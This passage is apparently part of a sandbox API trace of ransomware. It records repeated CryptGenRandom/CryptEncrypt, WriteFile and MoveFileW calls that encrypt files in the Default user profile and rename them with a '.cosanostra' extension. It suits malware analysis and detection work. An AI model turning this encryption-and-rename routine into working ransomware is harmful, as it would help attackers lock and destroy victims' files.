lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f5d4*=0x30, lpOverlapped=0x0) returned 1 [0090.943] CloseHandle (hObject=0x138) returned 1 [0090.943] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url.cosanostra")) returned 1 [0090.944] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f618 | out: pbBuffer=0x251f618) returned 1 [0090.944] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f610*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f610*=0x30) returned 1 [0090.944] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.944] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url") returned 68 [0090.945] StrStrW (lpFirst="Windows Live Gallery.url", lpSrch=".txt") returned 0x0 [0090.945] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.946] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x251f5d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f5d4*=0x85, lpOverlapped=0x0) returned 1 [0090.946] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.946] WriteFile (in: hFile=0x138, lpBuffer=0x251f614*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f5d4, lpOverlapped=0x0 | out: lpBuffer=0x251f614*, lpNumberOfBytesWritten=0x251f5d4*=0x4, lpOverlapped=0x0) returned 1 [0090.946] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f5d4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f5d4*=0x30, lpOverlapped=0x0) returned 1 [0090.946] CloseHandle (hObject=0x138) returned 1 [0090.946] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url.cosanostra")) returned 1 [0090.947] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f610 | out: pbBuffer=0x251f610) returned 1 [0090.947] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f608*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f608*=0x30) returned 1 [0090.947] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.947] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url") returned 64 [0090.947] StrStrW (lpFirst="Get Windows Live.url", lpSrch=".txt") returned 0x0 [0090.948] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.948] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x251f5cc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f5cc*=0x85, lpOverlapped=0x0) returned 1 [0090.949] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.949] WriteFile (in: hFile=0x138, lpBuffer=0x251f60c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f5cc, lpOverlapped=0x0 | out: lpBuffer=0x251f60c*, lpNumberOfBytesWritten=0x251f5cc*=0x4, lpOverlapped=0x0) returned 1 [0090.949] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f5cc, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f5cc*=0x30, lpOverlapped=0x0) returned 1 [0090.949] CloseHandle (hObject=0x138) returned 1 [0090.949] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url.cosanostra")) returned 1 [0090.954] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f608 | out: pbBuffer=0x251f608) returned 1 [0090.958] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f600*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f600*=0x30) returned 1 [0090.958] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0091.034] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url") returned 58 [0091.034] StrStrW (lpFirst="MSNBC News.url", lpSrch=".txt") returned 0x0 [0091.035] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.035] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x251f5c4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f5c4*=0x85, lpOverlapped=0x0) returned 1 [0091.035] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.035] WriteFile (in: hFile=0x180, lpBuffer=0x251f604*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f5c4, lpOverlapped=0x0 | out: lpBuffer=0x251f604*, lpNumberOfBytesWritten=0x251f5c4*=0x4, lpOverlapped=0x0) returned 1 [0091.035] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f5c4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f5c4*=0x30, lpOverlapped=0x0) returned 1 [0091.035] CloseHandle (hObject=0x180) returned 1 [0091.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url.cosanostra")) returned 1 [0091.036] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f608 | out: pbBuffer=0x251f608) returned 1 [0091.036] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f600*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f600*=0x30) returned 1 [0091.036] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0091.037] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\desktop.ini") returned 42 [0091.037] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0091.037] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe6e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.037] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x251f5c4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f5c4*=0x192, lpOverlapped=0x0) returned 1 [0091.038] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.038] WriteFile (in: hFile=0x180, lpBuffer=0x251f604*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f5c4, lpOverlapped=0x0 | out: lpBuffer=0x251f604*, lpNumberOfBytesWritten=0x251f5c4*=0x4, lpOverlapped=0x0) returned 1 [0091.038] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f5c4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f5c4*=0x30, lpOverlapped=0x0) returned 1 [0091.038] CloseHandle (hObject=0x180) returned 1 [0091.038] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\favorites\\desktop.ini.cosanostra")) returned 1 [0091.038] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f600 | out: pbBuffer=0x251f600) returned 1 [0091.038] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5f8*=0x30) returned 1 [0091.038] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.038] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f600 | out: pbBuffer=0x251f600) returned 1 [0091.038] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5f8*=0x30) returned 1 [0091.038] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\." (normalized: "c:\\users\\default\\favorites\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.040] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5f8 | out: pbBuffer=0x251f5f8) returned 1 [0091.040] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5f0*=0x30) returned 1 [0091.040] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Downloads\\desktop.ini" (normalized: "c:\\users\\default\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0091.040] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Downloads\\desktop.ini") returned 42 [0091.065] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0091.066] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.066] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x251f5b4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f5b4*=0x11a, lpOverlapped=0x0) returned 1 [0091.066] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.066] WriteFile (in: hFile=0x180, lpBuffer=0x251f5f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f5b4, lpOverlapped=0x0 | out: lpBuffer=0x251f5f4*, lpNumberOfBytesWritten=0x251f5b4*=0x4, lpOverlapped=0x0) returned 1 [0091.066] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f5b4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f5b4*=0x30, lpOverlapped=0x0) returned 1 [0091.066] CloseHandle (hObject=0x180) returned 1 [0091.066] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Downloads\\desktop.ini" (normalized: "c:\\users\\default\\downloads\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Downloads\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\downloads\\desktop.ini.cosanostra")) returned 1 [0091.067] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5f0 | out: pbBuffer=0x251f5f0) returned 1 [0091.067] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5e8*=0x30) returned 1 [0091.067] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Downloads\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.067] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5f0 | out: pbBuffer=0x251f5f0) returned 1 [0091.067] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5e8*=0x30) returned 1 [0091.067] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Downloads\\." (normalized: "c:\\users\\default\\downloads\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.069] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5e8 | out: pbBuffer=0x251f5e8) returned 1 [0091.069] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5e0*=0x30) returned 1 [0091.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\desktop.ini" (normalized: "c:\\users\\default\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0091.069] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Documents\\desktop.ini") returned 42 [0091.069] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0091.070] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe6e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.070] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x251f5a4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f5a4*=0x192, lpOverlapped=0x0) returned 1 [0091.070] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.070] WriteFile (in: hFile=0x180, lpBuffer=0x251f5e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f5a4, lpOverlapped=0x0 | out: lpBuffer=0x251f5e4*, lpNumberOfBytesWritten=0x251f5a4*=0x4, lpOverlapped=0x0) returned 1 [0091.070] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f5a4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f5a4*=0x30, lpOverlapped=0x0) returned 1 [0091.070] CloseHandle (hObject=0x180) returned 1 [0091.070] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Documents\\desktop.ini" (normalized: "c:\\users\\default\\documents\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Documents\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\documents\\desktop.ini.cosanostra")) returned 1 [0091.071] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5e0 | out: pbBuffer=0x251f5e0) returned 1 [0091.071] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5d8*=0x30) returned 1 [0091.071] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.071] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5e0 | out: pbBuffer=0x251f5e0) returned 1 [0091.071] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5d8*=0x30) returned 1 [0091.071] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\." (normalized: "c:\\users\\default\\documents\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.072] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5d8 | out: pbBuffer=0x251f5d8) returned 1 [0091.072] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5d0*=0x30) returned 1 [0091.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Desktop\\desktop.ini" (normalized: "c:\\users\\default\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0091.073] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Desktop\\desktop.ini") returned 40 [0091.073] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0091.073] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.073] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x251f594, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f594*=0x11a, lpOverlapped=0x0) returned 1 [0091.074] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.074] WriteFile (in: hFile=0x180, lpBuffer=0x251f5d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f594, lpOverlapped=0x0 | out: lpBuffer=0x251f5d4*, lpNumberOfBytesWritten=0x251f594*=0x4, lpOverlapped=0x0) returned 1 [0091.074] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f594, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f594*=0x30, lpOverlapped=0x0) returned 1 [0091.074] CloseHandle (hObject=0x180) returned 1 [0091.074] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Desktop\\desktop.ini" (normalized: "c:\\users\\default\\desktop\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Desktop\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\desktop\\desktop.ini.cosanostra")) returned 1 [0091.074] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5d0 | out: pbBuffer=0x251f5d0) returned 1 [0091.075] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5c8*=0x30) returned 1 [0091.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Desktop\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.075] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5d0 | out: pbBuffer=0x251f5d0) returned 1 [0091.075] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5c8*=0x30) returned 1 [0091.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Desktop\\." (normalized: "c:\\users\\default\\desktop\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.086] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5c8 | out: pbBuffer=0x251f5c8) returned 1 [0091.086] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5c0*=0x30) returned 1 [0091.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\desktop.ini" (normalized: "c:\\users\\default\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0091.087] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Contacts\\desktop.ini") returned 41 [0091.087] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0091.088] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe64, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.088] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x19c, lpNumberOfBytesWritten=0x251f584, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f584*=0x19c, lpOverlapped=0x0) returned 1 [0091.088] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.088] WriteFile (in: hFile=0x180, lpBuffer=0x251f5c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f584, lpOverlapped=0x0 | out: lpBuffer=0x251f5c4*, lpNumberOfBytesWritten=0x251f584*=0x4, lpOverlapped=0x0) returned 1 [0091.088] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f584, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f584*=0x30, lpOverlapped=0x0) returned 1 [0091.088] CloseHandle (hObject=0x180) returned 1 [0091.089] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Contacts\\desktop.ini" (normalized: "c:\\users\\default\\contacts\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Contacts\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\contacts\\desktop.ini.cosanostra")) returned 1 [0091.701] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5c0 | out: pbBuffer=0x251f5c0) returned 1 [0091.702] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5b8*=0x30) returned 1 [0091.702] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.936] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5c0 | out: pbBuffer=0x251f5c0) returned 1 [0091.936] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5b8*=0x30) returned 1 [0091.937] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.937] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f5b8 | out: pbBuffer=0x251f5b8) returned 1 [0091.937] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f5b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f5b0*=0x30) returned 1 [0091.937] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\."), dwDesiredAccess=0xc0000000, 